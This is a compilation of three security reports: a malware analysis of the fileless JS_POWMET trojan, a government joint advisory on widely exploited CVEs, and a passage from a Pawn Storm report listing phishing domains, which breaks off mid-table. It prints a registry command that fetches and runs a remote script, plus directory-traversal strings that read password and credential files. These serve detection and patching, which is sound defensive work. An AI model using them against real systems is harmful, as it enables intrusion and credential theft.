# A Look at JS_POWMET, a Completely Fileless Malware Malware attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET that uses a completely fileless infection chain, making it more difficult for anti-malware engineers to examine. As cybercriminals start to focus on pulling off attacks without leaving a trace, fileless malware, such as the recent SOREBRECT ransomware, will become a more common attack method. However, many of these malware are fileless only while entering a user’s system, as they eventually reveal themselves when they execute their payload. Attacks that use completely fileless malware are a rare occurrence, so we thought it important to discuss a new trojan known as JS_POWMET (Detected by Trend Micro as JS_POWMET.DE), which arrives via an autostart registry procedure. By utilizing a completely fileless infection chain, the malware will be more difficult to analyze using a sandbox, making it more difficult for anti-malware engineers to examine. Given that our Smart Protection Network (SPN) data reveals a previously detected backdoor thought to be related to JS_POWMET affecting APAC the most, with almost 90% of the infections coming from the region, the fileless attack can also be considered to be affecting the same region. ## Technical Details Although the exact method of arrival is still not certain, it is likely that the trojan is downloaded by users that visit malicious sites, or as a file that is dropped by other malware. What is clear about this malware is that the following registry has already been changed by the time it is downloaded into the system. ``` HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run COM+ = “regsvr32 /s /n /u /i:{Malicious URL, downloads JS_POWMET} scrobj.dll” ``` JS_POWMET is downloaded via an autostart registry entry (shown above). Here are the descriptions for the following parameters used by “regsvr32”: 1. `/s` = silent option for regsvr32 2. `/n` = tells regsvr32 not to use DllRegisterServer 3. `/u` = Unregister server/object 4. `/i` = used for passing an optional parameter (i.e., URL) to DLLinstall 5. `scrobj.dll` = Microsoft’s Script Component Runtime In this method, a URL was given to regsvr32 as a parameter, which will make regsvr32 capable of fetching the file (XML with malicious JavaScript) found on the URL. Due to this routine, regsvr32 will become capable of executing arbitrary scripts without saving the XML file on the machine/system. In particular, whenever the affected machine starts up, it will automatically download the malicious file from its Command & Control (C&C) server. Once JS_POWMET is executed, it will then download another file known as TROJ_PSINJECT (Detected by Trend Micro as TROJ_PSINJECT.A). This file is a Powershell script that runs under the process of Powershell. TROJ_PSINJECT will connect to the following website: ``` hxxps://bogerando[.]ru/favicon ``` This allows TROJ_PSINJECT to download a normal file called favicon. The favicon file will then be decrypted and injected into its process using ReflectivePELoader, which is used for injecting EXE/DLL files. To deobfuscate the malware code, it uses the following techniques. Initially, the malware contains Base64 Strings that will be decoded and decrypted using the RC4 key (which is hard-coded into the malware code). The resulting decrypted strings will be a GZIP-compressed string that is decompressed by the malware itself using the GZIP-decompression routine. This results in the codes for the ReflectivePELoader function that will be used to load the decrypted downloaded file. Favicon will also be decrypted using the aforementioned RC4 key, resulting in a malicious DLL file known as BKDR_ANDROM (Detected by Trend Micro as BKDR_ANDROM.ETIN). Again, this part of the process is also fileless; the file will not be saved into the machine but rather injected into the powershell.exe process. All of these routines will be executed by the malware using PowerShell commands. BKDR_ANDROM will terminate powershell.exe if it is found running in the system. In addition, it will also gather the following data: - Root Volume Serial Number - Operating System Version - Local IP Address - Administrator privileges The malware will add registry entries into the system to ensure that it always executes during startup. The autostart registry entry is capable of decoding the Base64-encoded PowerShell command, which will be used to decrypt the encrypted binary data (also found on the registry, added by the malware) that will result in the malicious codes of BKDR_ANDROM. After the decryption process, it will then execute the decrypted malicious codes. While the final payload in this case consists of common routines of BKDR_ANDROM, there is also a chance that future malware authors might make use of other malware as payload. ## Conclusion While JS_POWMET and the rest of the files it downloads are relatively light in terms of impact, this malware demonstrates the lengths cybercriminals will go to avoid detection and analysis. It also shows that even relatively uncommon infection methods involving fileless malware continually evolve. Organizations and users should always look beyond the obvious malware files and always be on the lookout for “stealthy” malware that manages to slip into the system virtually unnoticed. One of the more effective methods for mitigating the effects of fileless malware would be to limit access to critical infrastructure via container-based systems that separate endpoints from the most important parts of the network. For this specific malware, IT professionals can also look into disabling Powershell itself to help mitigate the effects of JS_POWMET and its various payloads. ## Trend Micro Solutions Fileless malware is designed to make detection by security solutions more difficult, as such organizations need to implement multilayered solutions that can help in detection. Trend Micro endpoint solutions such as Trend Micro™ Security, OfficeScan, and Worry-Free Business Security include behavior monitoring to detect this type of malware; this can help organizations look out for malicious behavior that can block the malware before the behavior is executed or performed. The following hashes were used for this article: - 7004b6c1829a745002feb7fbb0aad1a4d32c640a6c257dc8d0c39ce7b63b58cc (TROJ_PSINJECT.A) - e27f417b96a33d8449f6cf00b8306160e2f1b845ca2c9666081166620651a3ae (JS_POWMET.DE) - bff21cbf95da5f3149c67f2c0f2576a6de44fa9d0cb093259c9a5db919599940 (BKDR_ANDROM.ETIN) Tags: Malware | Endpoints | Research
# Top Routinely Exploited Vulnerabilities ## Summary This Joint Cybersecurity Advisory was coauthored by the U.S. Cybersecurity and Infrastructure Security Agency (CISA), the Australian Cyber Security Centre (ACSC), the United Kingdom’s National Cyber Security Centre (NCSC), and the U.S. Federal Bureau of Investigation (FBI). This advisory provides details on the top 30 vulnerabilities—primarily Common Vulnerabilities and Exposures (CVEs)—routinely exploited by malicious cyber actors in 2020 and those being widely exploited thus far in 2021. Cyber actors continue to exploit publicly known—and often dated—software vulnerabilities against broad target sets, including public and private sector organizations worldwide. However, entities worldwide can mitigate the vulnerabilities listed in this report by applying the available patches to their systems and implementing a centralized patch management system. ## Technical Details ### Key Findings In 2020, cyber actors readily exploited recently disclosed vulnerabilities to compromise unpatched systems. Based on available data to the U.S. Government, a majority of the top vulnerabilities targeted in 2020 were disclosed during the past two years. Cyber actor exploitation of more recently disclosed software flaws in 2020 probably stems, in part, from the expansion of remote work options amid the COVID-19 pandemic. The rapid shift and increased use of remote work options, such as virtual private networks (VPNs) and cloud-based environments, likely placed additional burden on cyber defenders struggling to maintain and keep pace with routine software patching. Four of the most targeted vulnerabilities in 2020 affected remote work, VPNs, or cloud-based technologies. Many VPN gateway devices remained unpatched during 2020, with the growth of remote work options challenging the ability of organizations to conduct rigorous patch management. CISA, ACSC, the NCSC, and FBI consider the vulnerabilities listed in the table below to be the topmost regularly exploited CVEs by cyber actors during 2020. ### Table 1: Top Routinely Exploited CVEs in 2020 | Vendor | CVE | Type | |----------------|-------------------------|-------------------------------| | Citrix | CVE-2019-19781 | arbitrary code execution | | Pulse | CVE-2019-11510 | arbitrary file reading | | Fortinet | CVE-2018-13379 | path traversal | | F5- Big IP | CVE-2020-5902 | remote code execution (RCE) | | MobileIron | CVE-2020-15505 | RCE | | Microsoft | CVE-2017-11882 | RCE | | Atlassian | CVE-2019-11580 | RCE | | Drupal | CVE-2018-7600 | RCE | | Telerik | CVE-2019-18935 | RCE | | Microsoft | CVE-2019-0604 | RCE | | Microsoft | CVE-2020-0787 | elevation of privilege | | Microsoft | CVE-2020-1472 | elevation of privilege | In 2021, malicious cyber actors continued to target vulnerabilities in perimeter-type devices. Among those highly exploited in 2021 are vulnerabilities in Microsoft, Pulse, Accellion, VMware, and Fortinet. CISA, ACSC, the NCSC, and FBI assess that public and private organizations worldwide remain vulnerable to compromise from the exploitation of these CVEs. Malicious cyber actors will most likely continue to use older known vulnerabilities, such as CVE-2017-11882 affecting Microsoft Office, as long as they remain effective and systems remain unpatched. Organizations are encouraged to remediate or mitigate vulnerabilities as quickly as possible to reduce the risk of exploitation. Most can be remediated by patching and updating systems. Organizations that have not remediated these vulnerabilities should investigate for the presence of IOCs and, if compromised, initiate incident response and recovery plans. ### 2020 CVEs CISA, ACSC, the NCSC, and FBI have identified the following as the topmost exploited vulnerabilities by malicious cyber actors from 2020: CVE-2019-19781, CVE-2019-11510, CVE-2018-13379, CVE-2020-5902, CVE-2020-15505, CVE-2020-0688, CVE-2019-3396, CVE-2017-11882, CVE-2019-11580, CVE-2018-7600, CVE-2019-18935, CVE-2019-0604, CVE-2020-0787, CVE-2020-1472. Among these vulnerabilities, CVE-2019-19781 was the most exploited flaw in 2020, according to U.S. Government technical analysis. Identified as emerging targets in early 2020, unremediated instances of CVE-2019-19781 and CVE-2019-11510 continued to be exploited throughout the year by nation-state advanced persistent threat actors (APTs) who leveraged these and other vulnerabilities in VPN services to compromise an array of organizations, including those involved in COVID-19 vaccine development. The CVE-2019-11510 vulnerability in Pulse Connect Secure VPN was also frequently targeted by nation-state APTs. Actors can exploit the vulnerability to steal the unencrypted credentials for all users on a compromised Pulse VPN server and retain unauthorized access after the system is patched unless all compromised credentials are changed. ### 2021 CVEs In 2021, cyber actors continued to target vulnerabilities in perimeter-type devices. In addition to the 2020 CVEs listed above, organizations should prioritize patching for the following CVEs known to be exploited: - Microsoft Exchange: CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065 - Pulse Secure: CVE-2021-22893, CVE-2021-22894, CVE-2021-22899, and CVE-2021-22900 - Accellion: CVE-2021-27101, CVE-2021-27102, CVE-2021-27103, CVE-2021-27104 - VMware: CVE-2021-21985 - Fortinet: CVE-2018-13379, CVE-2020-12812, and CVE-2019-5591 ### Mitigations and Indicators of Compromise One of the most effective best practices to mitigate many vulnerabilities is to update software versions once patches are available and as soon as is practicable. If this is not possible, consider applying temporary workarounds or other mitigations, if provided by the vendor. If an organization is unable to update all software shortly after a patch is released, prioritize implementing patches for CVEs that are already known to be exploited or that would be accessible to the largest number of potential attackers (such as internet-facing systems). Focusing scarce cyber defense resources on patching those vulnerabilities that cyber actors most often use offers the potential of bolstering network security while impeding adversaries’ operations. For example, nation-state APTs in 2020 extensively relied on a single RCE vulnerability discovered in Atlassian Crowd (CVE-2019-11580) in its reported operations. A concerted focus on patching this vulnerability could have a broad impact by forcing the actors to find alternatives. Additionally, attackers commonly exploit weak authentication processes, particularly in external-facing devices. Organizations should require multi-factor authentication to remotely access networks from external sources, especially for administrator or privileged accounts. ### Table 2: CVE-2019-19781 Vulnerability Details **Citrix Netscaler Directory Traversal (CVE-2019-19781)** - **Vulnerability Description**: Citrix Netscaler Application Delivery Control (ADC) is vulnerable to RCE and full system compromise due to poor access controls, thus allowing directory traversal. - **CVSS**: 3.02 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: The lack of adequate access controls allows an attacker to enumerate system directories for vulnerable code (directory traversal). In this instance, Citrix ADC maintains a vulnerable Perl script (newbm.pl) that, when accessed via HTTP POST request, allows local operating system (OS) commands to execute. Attackers can use this functionality to upload/execute command and control (C2) software (webshell or reverse-shell executable) using embedded commands (e.g., curl, wget, Invoke-WebRequest) and gain unauthorized access to the OS. Multiple malware campaigns, including NOTROBIN, have taken advantage of this vulnerability. - **Recommended Mitigations**: Implement the appropriate refresh build according to the vulnerability details outlined by the vendor: Citrix: Mitigation Steps for CVE-2019-19781. If possible, only allow the VPN to communicate with known Internet Protocol (IP) addresses (allow-list). - **Detection Methods**: CISA has developed a free detection tool for this vulnerability: cisagov/check-cve-2019-19781. Nmap developed a script that can be used with the port scanning engine: CVE-2019-19781 - Citrix ADC Path Traversal #1893. Citrix also developed a free tool for detecting compromises of Citrix ADC Appliances related to CVE-2019-19781: Citrix / CVE-2019-19781: IOC Scanner for CVE-2019-19781. CVE-2019-19781 is commonly exploited to install web shell malware. The National Security Agency (NSA) provides guidance on detecting and preventing web shell malware. - **Vulnerable Technologies and Versions**: Citrix ADC and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. ### Table 3: CVE-2019-11510 Vulnerability Details **Pulse Secure Connect VPN (CVE-2019-11510)** - **Vulnerability Description**: Pulse Secure Connect is vulnerable to unauthenticated arbitrary file disclosure. An attacker can exploit this vulnerability to gain access to administrative credentials. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: Improper access controls allow a directory traversal that an attacker can exploit to read the contents of system files. For example, the attacker could use a string such as `https://sslvpn.insecure-org.com/dana-na/../dana/html5/acc/guacmole/../../../../../../etc/passwd?/dana/html5/guacamole/` to obtain the local password file from the system. The attacker can also obtain admin session data and replay session tokens in the browser. Once compromised, an attacker can run arbitrary scripts on any host that connects to the VPN. Multiple malware campaigns have taken advantage of this vulnerability, most notably REvil/Sodinokibi ransomware. - **Recommended Mitigations**: Upgrade to the latest Pulse Secure VPN. Stay alert to any scheduled tasks or unknown files/executables. Create detection/protection mechanisms that respond on directory traversal attempts to read local system files. - **Detection Methods**: CISA developed a tool to help determine if IOCs exist in the log files of a Pulse Secure VPN Appliance for CVE-2019-11510: cisagov/check-your-pulse. Nmap developed a script that can be used with the port scanning engine: http-vuln-cve2019-11510.nse #1708. - **Vulnerable Technologies and Versions**: Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 are vulnerable. ### Table 4: CVE-2018-13379 Vulnerability Details **Fortinet FortiOS Secure Socket Layer VPN (CVE-2018-13379)** - **Vulnerability Description**: Fortinet Secure Sockets Layer (SSL) VPN is vulnerable to unauthenticated directory traversal, which allows attackers to gain access to the `sslvpn_websession` file. An attacker is then able to extract clear-text usernames and passwords. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: Weakness in user access controls and web application directory structure allows attackers to read system files without authentication. Attackers are able to perform an HTTP GET request to `http://$SSLVPNTARGET?lang=/../../../..//////////dev/cmdb/sslvpn_websession`. This results in the server responding with unprintable/hex characters alongside cleartext credential information. Multiple malware campaigns have taken advantage of this vulnerability, the most notable being Cring ransomware. - **Recommended Mitigations**: Upgrade to the latest Fortinet SSL VPN. Monitor for alerts to any unscheduled tasks or unknown files/executables. Create detection/protection mechanisms that respond on directory traversal attempts to read the `sslvpn_websessions` file. - **Detection Methods**: Nmap developed a script that can be used with the port scanning engine: Fortinet SSL VPN CVE-2018-13379 vuln scanner #1709. - **Vulnerable Technologies and Versions**: Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.3 to 5.6.7, and 5.4.6 to 5.4.12 are vulnerable. ### Table 5: CVE-2020-5902 Vulnerability Details **F5 Big IP Traffic Management User Interface (CVE-2020-5902)** - **Vulnerability Description**: The Traffic Management User Interface (TMUI), also referred to as the Configuration Utility, has an RCE vulnerability in undisclosed pages. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: This vulnerability allows unauthenticated attackers, or authenticated users, with network access to the Configuration Utility (through the BIG-IP management port and/or self IPs) to execute arbitrary system commands, create or delete files, disable services, and execute arbitrary Java code. This vulnerability may result in complete system compromise. The BIG-IP system in Appliance mode is also vulnerable. This issue is not exposed on the data plane; only the control plane is affected. - **Recommended Mitigations**: Download and install a fixed software version of the software from a vendor-approved resource. If it is not possible to update quickly, restrict access via the following actions: Address unauthenticated and authenticated attackers on self IPs by blocking all access. Address unauthenticated attackers on management interface by restricting access. - **Detection Methods**: F5 developed a free detection tool for this vulnerability: f5devcentral / cve-2020-5902-ioc-bigip-checker. Manually check your software version to see if it is susceptible to this vulnerability. - **Vulnerable Technologies and Versions**: BIG-IP (LTM, AAM, Advanced WAF, AFM, Analytics, APM, ASM, DDHD, DNS, FPS, GTM, Link Controller, PEM, SSLO, CGNAT) 15.1.0, 15.0.0-15.0.1, 14.1.0-14.1.2, 13.1.0-13.1.3, 12.1.0-12.1.5, and 11.6.1-11.6.5 are vulnerable. ### Table 6: CVE-2020-15505 Vulnerability Details **MobileIron Core & Connector (CVE-2020-15505)** - **Vulnerability Description**: MobileIron Core & Connector, Sentry, and Monitoring and Reporting Database (RDB) software are vulnerable to RCE via unspecified vectors. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: CVE-2020-15505 is an RCE vulnerability in MobileIron Core & Connector versions 10.3 and earlier. This vulnerability allows an external attacker, with no privileges, to execute code of their choice on the vulnerable system. As mobile device management (MDM) systems are critical to configuration management for external devices, they are usually highly permissioned and make a valuable target for threat actors. Multiple APTs have been observed exploiting this vulnerability to gain unauthorized access. - **Recommended Mitigations**: Download and install a fixed software version of the software from a vendor-approved resource. - **Detection Methods**: None. Manually check your software version to see if it is susceptible to this vulnerability. - **Vulnerable Technologies and Versions**: MobileIron Core & Connector versions 10.3.0.3 and earlier, 10.4.0.0, 10.4.0.1, 10.4.0.2, 10.4.0.3, 10.5.1.0, 10.5.2.0, and 10.6.0.0; Sentry versions 9.7.2 and earlier and 9.8.0; and Monitor and Reporting Database (RDB) version 2.0.0.1 and earlier are vulnerable. ### Table 7: CVE-2020-0688 Vulnerability Details **Microsoft Exchange Memory Corruption (CVE-2020-0688)** - **Vulnerability Description**: An RCE vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: CVE-2020-0688 exists in the Microsoft Exchange Server when the server fails to properly create unique keys at install time. An authenticated user with knowledge of the validation key and a mailbox may pass arbitrary objects for deserialization by the web application that runs as SYSTEM. The security update addresses the vulnerability by correcting how Microsoft Exchange creates the keys during install. A nation-state APT actor has been observed exploiting this vulnerability to conduct widespread, distributed, and anonymized brute force access attempts against hundreds of government and private sector targets worldwide. - **Recommended Mitigations**: Download and install a fixed software version of the software from a vendor-approved resource. - **Detection Methods**: Manually check your software version to see if it is susceptible to this vulnerability. CVE-2020-0688 is commonly exploited to install web shell malware. NSA provides guidance on detecting and preventing web shell malware. - **Vulnerable Technologies and Versions**: Microsoft Exchange Server 2019 Cumulative Update 3 and 4, 2016 Cumulative Update 14 and 15, 2013 Cumulative Update 23, and 2010 Service Pack 3 Update Rollup 30 are vulnerable. ### Table 8: CVE-2019-3396 Vulnerability Details **Microsoft Office Memory Corruption (CVE 2017-11882)** - **Vulnerability Description**: Atlassian Confluence Server and Data Center Widget Connector is vulnerable to a server-side template injection attack. - **CVSS**: Critical - **Vulnerability Discussion, IOCs, and Malware Campaigns**: Confluence Server and Data Center versions released before June 18, 2018, are vulnerable to this issue. A remote attacker is able to exploit a server-side request forgery (SSRF) vulnerability in the WebDAV plugin to send arbitrary HTTP and WebDAV requests from a Confluence Server or Data Center instance. A successful attack is able to exploit this issue to achieve server-side template injection, path traversal, and RCE on vulnerable systems. Multiple malware campaigns have taken advantage of this vulnerability; the most notable being GandCrab ransomware. - **Recommended Mitigations**: Download and install a fixed software version of the software from a vendor-approved resource. - **Detection Methods**: Manually check the software version to see if it is susceptible to this vulnerability. CVE-2019-3396 is commonly exploited to install web shell malware. NSA provides guidance on detecting and preventing web shell malware. - **Vulnerable Technologies and Versions**: All versions of Confluence Server and Confluence Data Center before version 6.6.12, from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x) are vulnerable. ### Table 9: CVE 2017-11882 Vulnerability Details **Microsoft Office Memory Corruption (CVE 2017-11882)** - **Vulnerability Description**: Microsoft Office is prone to a memory corruption vulnerability allowing an attacker to run arbitrary code, in the context of the current user, by failing to properly handle objects in memory. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: Cyber actors continued to exploit this four-year-old vulnerability in Microsoft Office that the U.S. Government publicly assessed last year was the most frequently targeted. Cyber actors most likely continue to exploit this vulnerability because Microsoft Office use is ubiquitous worldwide, the vulnerability is ideal for phasing campaigns, and it enables RCE on vulnerable systems. Microsoft Equation Editor, a component of Microsoft Office, contains a stack buffer overflow vulnerability that enables RCE on a vulnerable system. The component was compiled on November 9, 2000. Without any further recompilation, it was used in all currently supported versions of Microsoft Office. Data execution prevention (DEP) and address space layout randomization (ASLR) should protect against such attacks. However, because of the manner in which eqnedt32.exe was linked, it will not use these features, subsequently allowing code execution. Being an out-of-process COM server, protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not applicable to eqnedt32.exe, unless applied system-wide. This provides the attacker with an avenue to lure targets into opening specially crafted documents, resulting in the ability to execute embedded attacker commands. Multiple cyber espionage campaigns have taken advantage of this vulnerability. CISA has noted CVE-2017-11882 being exploited to deliver LokiBot malware. - **Recommended Mitigations**: To remediate this issue, administrators should deploy Microsoft’s patch for this vulnerability. Those who cannot deploy the patch should consider disabling the Equation Editor as discussed in Microsoft Knowledge Base Article 4055535. - **Detection Methods**: Microsoft Defender Antivirus, Windows Defender, Microsoft Security Essentials, and the Microsoft Safety Scanner will all detect and patch this vulnerability. - **Vulnerable Technologies and Versions**: Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, and Microsoft Office 2016 are vulnerable. ### Table 10: CVE 2019-11580 Vulnerability Details **Atlassian Crowd and Crowd Data Center Remote Code Execution (CVE 2019-11580)** - **Vulnerability Description**: Atlassian Crowd and Crowd Data Center had the pdkinstall development plugin incorrectly enabled in release builds. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: Attackers who can send unauthenticated or authenticated requests to a Crowd or Crowd Data Center instance can exploit this vulnerability to install arbitrary plugins, which permits RCE on systems running a vulnerable version of Crowd or Crowd Data Center. - **Recommended Mitigations**: Atlassian recommends customers running a version of Crowd below version 3.3.0 to upgrade to version 3.2.8. For customers running a version above or equal to 3.3.0, Atlassian recommends upgrading to the latest version. Released Crowd and Crowd Data Center version 3.4.4 contains a fix for this issue. - **Detection Methods**: Manually check your software version to see if it is susceptible to this vulnerability. CVE-2019-11580 is commonly exploited to install web shell malware. NSA provides guidance on detecting and preventing web shell malware. - **Vulnerable Technologies and Versions**: All versions of Crowd from version 2.1.0 before 3.0.5, from version 3.1.0 before 3.1.6, from version 3.2.0 before 3.2.8, from version 3.3.0 before 3.3.5, and from version 3.4.0 before 3.4.4 are affected by this vulnerability. ### Table 11: CVE 2018-7600 Vulnerability Details **Drupal Core Multiple Remote Code Execution (CVE 2018-7600)** - **Vulnerability Description**: Drupal versions before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allow remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: An RCE vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised. Failed exploit attempts may result in a denial-of-service condition. A remote user can send specially crafted data to trigger a flaw in the processing of renderable arrays in the Form Application Programming Interface, or API, and cause the target system to render the user-supplied data and execute arbitrary code on the target system. Malware campaigns include the Muhstik botnet and XMRig Monero Cryptocurrency mining. - **Recommended Mitigations**: Upgrade to the most recent version of Drupal 7 or 8 core. If running 7.x, upgrade to Drupal 7.58. If running 8.5.x, upgrade to Drupal 8.5.1. - **Detection Methods**: Dan Sharvit developed a tool to check for the CVE-2018-7600 vulnerability on several URLs. - **Vulnerable Technologies and Versions**: Drupal versions before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 are affected. ### Table 12: CVE 2019-18935 Vulnerability Details **Telerik UI for ASP.NET AJAX Insecure Deserialization (CVE 2019-18935)** - **Vulnerability Description**: Telerik User Interface (UI) for ASP.NET does not properly filter serialized input for malicious content. Versions prior to R1 2020 (2020.1.114) are susceptible to remote code execution attacks on affected web servers due to a deserialization vulnerability. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: The Telerik UI does not properly sanitize serialized data inputs from the user. This vulnerability leads to the application being vulnerable to RCE attacks that may lead to a full system compromise. A vulnerable HTTP POST parameter `rauPostData` makes use of a vulnerable function/object `AsyncUploadHandler`. The object/function uses the `JavaScriptSerializer.Deserialize()` method, which does not properly sanitize the serialized data during the deserialization process. There were two malware campaigns associated with this vulnerability: Netwalker Ransomware and Blue Mockbird Monero Cryptocurrency-mining. - **Recommended Mitigations**: Update to the most recent version of Telerik UI for ASP.NET AJAX (at least 2020.1.114 or later). - **Detection Methods**: ACSC has an example PowerShell script that can be used to identify vulnerable Telerik UI DLLs on Windows web server hosts. Vulnerable hosts should be reviewed for evidence of exploitation. - **Vulnerable Technologies and Versions**: Telerik UI for ASP.NET AJAX versions prior to R1 2020 (2020.1.114) are affected. ### Table 13: CVE-2019-0604 Vulnerability Details **Microsoft SharePoint Remote Code Execution (CVE-2019-0604)** - **Vulnerability Description**: A vulnerability in an XML deserialization component within Microsoft SharePoint allowed remote attackers to execute arbitrary code on vulnerable Microsoft SharePoint servers. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: This vulnerability was typically exploited to install webshell malware to vulnerable hosts. A webshell could be placed in any location served by the associated Internet Information Services (IIS) web server and did not require authentication. These web shells would commonly be installed in the Layouts folder within the Microsoft SharePoint installation directory. The `xmlSerializer.Deserialize()` method does not adequately sanitize user input that is received from the `PickerEnitity/ValidateEnity` functions in the serialized XML payloads. The exploit was used in malware phishing and the WickrMe/Hello Ransomware campaigns. - **Recommended Mitigations**: Upgrade on-premise installations of Microsoft Sharepoint to the latest available version (Microsoft SharePoint 2019) and patch level. - **Detection Methods**: The patch level of on-premise Microsoft SharePoint installations should be reviewed for the presence of relevant security updates as outlined in the Microsoft SharePoint security advisory. - **Vulnerable Technologies and Versions**: At the time of the vulnerability release, the following Microsoft SharePoint versions were affected: Microsoft Sharepoint 2019, Microsoft SharePoint 2016, Microsoft SharePoint 2013 SP1, and Microsoft SharePoint 2010 SP2. ### Table 14: CVE-2020-0787 Vulnerability Details **Windows Background Intelligent Transfer Service Elevation of Privilege (CVE-2020-0787)** - **Vulnerability Description**: The Windows Background Intelligent Transfer Service (BITS) is vulnerable to a privilege elevation vulnerability if it improperly handles symbolic links. An actor can exploit this vulnerability to execute arbitrary code with system-level privileges. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: To exploit this vulnerability, an actor would first need to have the ability to execute arbitrary code on a vulnerable Windows host. Actors exploiting this vulnerability commonly used the proof of concept code released by the security researcher who discovered the vulnerability. The exploit was used in Maze and Egregor ransomware campaigns. - **Recommended Mitigations**: Apply the security updates as recommended in the Microsoft Netlogon security advisory. - **Detection Methods**: The patch level of all Microsoft Windows installations should be reviewed for the presence of relevant security updates as outlined in the Microsoft BITS security advisory. - **Vulnerable Technologies and Versions**: Windows 7 for 32-bit and x64-based Systems Service Pack 1, 8.1 for 32-bit and x64-based systems, 10 for 32-bit and x64-based Systems, and various Windows Server versions are vulnerable. ### Table 15: CVE-2020-1472 Vulnerability Details **Microsoft Netlogon Elevation of Privilege (CVE-2020-1472)** - **Vulnerability Description**: The Microsoft Windows Netlogon Remote Protocol (MS-NRPC) reuses a known, static, zero-value initialization vector (IV) in AES-CFB8 mode, which could allow an unauthenticated attacker to impersonate a domain-joined computer including a domain controller, and potentially obtain domain administrator privileges. - **CVSS**: 3.0 - **Vulnerability Discussion, IOCs, and Malware Campaigns**: To exploit this vulnerability, an actor would first need to have an existing presence on an internal network with network connectivity to a vulnerable Domain Controller. The immediate effect of successful exploitation results in the ability to authenticate to the vulnerable Domain Controller with Domain Administrator level credentials. Threat actors were seen combining the MobileIron CVE-2020-15505 vulnerability for initial access, then using the Netlogon vulnerability to facilitate lateral movement and further compromise of target networks. - **Recommended Mitigations**: Apply the security updates as recommended in the Microsoft Netlogon security advisory. - **Detection Methods**: The patch level of Domain Controllers should be reviewed for the presence of relevant security updates as outlined in the Microsoft Netlogon security advisory. - **Vulnerable Technologies and Versions**: At the time of the vulnerability release, all versions of Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, and other specified versions were vulnerable. For additional general best practices for mitigating cyber threats, see the joint advisory from Australia, Canada, New Zealand, the United Kingdom, and the United States on Technical Approaches to Uncovering and Remediating Malicious Activity and ACSC’s Essential Eight mitigation strategies.
# How Cyber Propaganda Influenced Politics in 2016 ## List of the targets The following table lists entities and organizations we have observed to have been targeted by Pawn Storm. | Date | Organization | Phishing URL | |-------------|-----------------------------------------------------------|------------------------------------------------| | 12-Dec-13 | Chilean military | mail.fach.rnil.cl | | 15-May-14 | Armenian military | mail.rnil.am | | 23-Oct-14 | Latvian military | web.mailmil.lv | | 25-Feb-15 | Romanian military | fortele.ro | | 25-Mar-15 | Danish military | webmail-mil.dk | | 26-Mar-15 | Portuguese military | webmail.exerclto.pt | | 13-May-15 | Greek military | webmail-mil.gr | | 04-Sep-15 | Danish military | fkit-mil.dk | | 05-Sep-15 | Saudi military | mail.rsaf.qov.sa.com | | 16-Oct-15 | United Arab Emirates army | www.mailmil.ae | | 19-Oct-15 | Kuwaiti military | mail.kuwaitarmy.gov-kw.com | | 21-Oct-15 | Romanian military | mail-navy.ro | | 04-Mar-16 | Bulgarian military | mail.armf.bg.message-id8665213.tk | | 23-Jan-14 | MOD of Bulgaria | mail.arnf.bg | | 11-Feb-14 | MOD of Poland | poczta.mon.q0v.pl | | 04-Apr-14 | MOD of Hungary | mail.hm.qov.hu | | 30-Apr-14 | MOD of Albania | mod.qov.al | | 22-May-14 | MOD of Spain | mail.mod.qov.es | | 18-Nov-14 | MOD of Afghanistan | mail.mod.qov.af | | 05-Sep-15 | MOD of Saudi Arabia | mail.moda.qov.sa.com | | 19-Feb-16 | MOD of Poland | poczta.mon-gov.pl | | 17-Mar-15 | MFA of South Georgia | email.mfa.qov.gs | | 16-Jul-15 | MFA of Armenia | webmail-mfa.am | | 02-Oct-15 | MFA of the United Arab Emirates | webmail.mofa.qov.ae | | 10-Dec-15 | MFA of Qatar | mail.mofa.g0v.qa | | 10-Jan-14 | State Agency for National Security (Bulgaria) | dansa.bg | | 24-Apr-14 | Academi | mail.academl.com | | 24-Apr-14 | Boston Dynamics | mail.bostondynamlcs.com | | 11-Aug-14 | SAIC | webmail-saic.com | | 10-Sep-14 | Polski Holding Obronny | mailpho.com | | 01-Nov-14 | New York Times | privacy-yahoo.com | | 01-Dec-14 | New York Times | link.candybober.info | | 24-Aug-15 | Sanoma Media | mobile-sanoma.net | | 24-Feb-16 | Hurriyet | posta-hurriyet.com | | 14-Mar-16 | Anadolu Agency | anadolu-ajansi.com | | 15-Mar-16 | Anadolu Agency | mail.anadoluajansi.web.tr | | 11-May-16 | 